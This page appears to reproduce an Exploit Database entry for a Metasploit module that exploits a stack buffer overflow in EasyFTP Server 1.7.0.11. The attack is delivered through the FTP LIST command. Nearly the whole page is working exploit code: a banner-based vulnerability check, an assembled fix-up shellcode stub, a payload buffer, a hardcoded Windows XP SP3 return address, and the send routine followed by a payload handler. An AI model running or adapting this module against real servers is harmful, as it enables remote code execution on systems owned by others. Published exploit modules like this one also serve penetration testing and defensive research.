EasyFTP Server 1.7.0.11 – ‘LIST’ Stack Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2010-08-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16734/

• ##
  # $Id: easyftp_list_fixret.rb 9953 2010-08-03 16:17:43Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  ##
  # EDB-ID: 14400
  # Date : July 5, 2010
  # Discovered by : Karn Ganeshen
  # Version : 1.7.0.11
  # Tested on : Windows XP SP3 Version 2002
  # MFR& VAS TEAM : just testing howto convert exploits to metasploit modules.
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
  				credit goes to Karn Ganeshan.
  
  				NOTE: Although, this is likely to exploit the same vulnerability as the
  				'easyftp_cwd_fixret' exploit, it uses a slightly different vector.
  			},
  			'Author' =>
  				[
  					'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
  					'MFR',# convert to metasploit format.
  					'jduck' # modified to use fix-up stub (works with bigger payloads)
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9953 $',
  			'References' =>
  				[
  					[ 'OSVDB', '62134' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/14400/' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/14451/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread'
  				},
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "\x00\x0a\x0d\x2f\x5c",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ], # call edi from user32.dll (v5.1.2600.5512)
  				],
  			'DisclosureDate' => 'July 5 2010',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /BigFoolCat/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_login
  
  		# NOTE:
  		# This exploit jumps to edi, which happens to point at a partial version of
  		# the 'buf' string in memory. The fixRet below fixes up the code stored on the
  		# stack and then jumps there to execute the payload. The value in esp is used
  		# with an offset for the fixup.
  		fixRet_asm = %q{
  			mov edi,esp
  			mov [edi], 0xfeedfed5
  			add edi, 0xfffffff4
  			mov byte ptr [edi], 0xc0
  			add edi,4
  			mov [edi], 0xdeadbeef
  			add edi, 0xffffff24
  			add esp, 0xfffffe04
  			jmp edi
  		}
  		fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string
  
  		buf = ''
  
  		print_status("Prepending fixRet...")
  		buf << fixRet
  		buf << make_nops(0x30 - buf.length)
  
  		print_status("Adding the payload...")
  		buf << payload.encoded
  
  		# Patch the original stack data into the fixer stub
  		buf[4, 4] = buf[268 + 8, 4]
  		buf[16, 1] = buf[268-4, 1]
  		buf[22, 4] = buf[268, 4]
  
  		print_status("Overwriting part of the payload with target address...")
  		buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes
  
  		print_status("Sending exploit buffer...")
  		send_cmd( ['LIST', buf] , false)
  
  		handler
  		disconnect
  	end
  
  end